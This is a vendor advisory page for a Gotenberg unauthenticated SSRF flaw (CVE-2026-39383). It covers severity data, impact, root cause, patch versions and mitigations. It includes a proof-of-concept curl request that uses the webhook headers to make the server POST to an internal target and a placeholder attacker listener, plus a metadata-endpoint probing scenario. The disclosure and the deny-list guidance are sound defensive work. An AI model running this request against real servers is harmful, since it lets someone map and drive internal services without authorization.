Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
HIGH severity

GHSA-5vh4-rgv7-p9g4

HIGH

GHSA-5vh4-rgv7-p9g4 is a high-severity (CVSS 8.6) Server-Side Request Forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8. O3 Security confirms whether GHSA-5vh4-rgv7-p9g4 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Gotenberg Vulnerable to Unauthenticated SSRF via Unfiltered Webhook URL

Also known asCVE-2026-39383GO-2026-5155
Published
Apr 30, 2026
Updated
Jun 25, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-5vh4-rgv7-p9g4.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs15th percentile — riskier than 15% of all scored CVEsHighest risk
0.00%0.25%0.49%0.74%0.1%0.2%0.2%0.2%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-5vh4-rgv7-p9g4 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 356,530 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐹github.com/gotenberg/gotenberg/v8

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg

Severity

FieldValue
CVSS v3.18.6 High
VectorAV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
CWECWE-918 — Server-Side Request Forgery
AuthNone

Affected: Gotenberg 8.29.1 — default gotenberg/gotenberg:8 Docker image.


Impact

An unauthenticated attacker with network access to Gotenberg can force it to make outbound HTTP POST requests to any internal or external destination by supplying an arbitrary URL in the Gotenberg-Webhook-Url request header.

This is a blind SSRF. Gotenberg POSTs the converted document to the webhook URL and checks only whether the response status code is an error (>= 400). The response body from the SSRF target is never forwarded to the attacker. The Gotenberg-Webhook-Error-Url header — if supplied — receives the original converted PDF when the webhook POST fails, not the target's response body.

The practical impact is therefore:

  • Internal network probing: if the error URL is NOT called, the target returned 2xx → host and port are open and accepting POST requests. If the error URL IS called, the target returned 4xx/5xx or timed out → port closed or service rejected the request. This allows mapping internal infrastructure one request at a time.
  • Forced POST to internal services: any internal service that performs a side effect on POST (triggering a webhook, writing state, executing a job) can be abused without reading its response.
  • Cloud metadata interaction: Gotenberg can be forced to POST to http://169.254.169.254/ — confirming reachability and probing available paths — but cannot read the credential response body through this channel alone.

The retryable client issues up to 4 automatic retries per request, meaning one attacker request generates up to 4 probes against the internal target.


Proof of Concept

# Minimal SSRF trigger — replace ATTACKER_IP with your listener & INTERNAL_IP with the target.
curl -s -o /dev/null -w "HTTP:%{http_code}" \
  -X POST 'http://TARGET:3000/forms/chromium/convert/url' \
  -H 'Gotenberg-Webhook-Url: http://INTERNAL_IP:9999/capture' \
  -H 'Gotenberg-Webhook-Error-Url: http://ATTACKER_IP:9999/error' \
  -F 'url=https://example.com'

Root Cause

FilterDeadline in filter.go is the intended URL gating function but its contract fails open: when both the allow and deny lists are empty (the default), it returns nil unconditionally, allowing any URL through.

func FilterDeadline(allowed, denied []*regexp2.Regexp, s string, deadline time.Time) error {
    if len(allowed) > 0 { ... }  // skipped — empty by default
    if len(denied) > 0  { ... }  // skipped — empty by default
    return nil                    // any URL passes
}

The unvalidated URL is then stored verbatim and used as the destination for an outbound retryablehttp request in client.go:62.


Recommendations

Gotenberg maintainers: Invert the default — deny all webhook URLs unless an explicit allowlist is configured, or ship a built-in denylist covering RFC-1918 and link-local ranges.

Operators (immediate):

# Restrict to your own receiver
--env GOTENBERG_API_WEBHOOK_ALLOW_LIST="https://my-receiver\.example\.com/.*"
# Or block internal ranges
--env GOTENBERG_API_WEBHOOK_DENY_LIST="^https?://(169\.254\.|10\.|172\.(1[6-9]|2[0-9]|3[01])\.|192\.168\.)"

Attribution

This is a Gotenberg-only issue. No third-party library is at fault. The root cause is an insecure default in FilterDeadline where an unconfigured state means "allow all" rather than "deny all".


Timeline

DateEvent
2026-04-04Vulnerability discovered
2026-04-05SSRF confirmed — outbound POST captured at local listener
2026-04-05Report drafted for disclosure

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/gotenberg/gotenberg/v88.29.1&&< 8.31.08.31.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/gotenberg/gotenberg/v8 to 8.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5vh4-rgv7-p9g4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-5vh4-rgv7-p9g4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-5vh4-rgv7-p9g4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

# CVE Report — Unauthenticated SSRF via Unfiltered Webhook URL in Gotenberg ## Severity | Field | Value | |-----------|----------------------------------------| | CVSS v3.1 | **8.6 High** | | Vector | `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N` | | CWE | CWE-918 — Server-Side Request Forgery | | Auth | None | **Affected:** Gotenberg 8.29.1 — default `gotenberg/gotenberg:8` Docker image. --- ## Impact An unauthenticated attacker with network access to Gotenberg can force it to make ou
O3 Security · Impact-Aware SCA

Is GHSA-5vh4-rgv7-p9g4 in your dependencies?

O3 detects GHSA-5vh4-rgv7-p9g4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-5vh4-rgv7-p9g4: v8 Server-Side… | O3 Security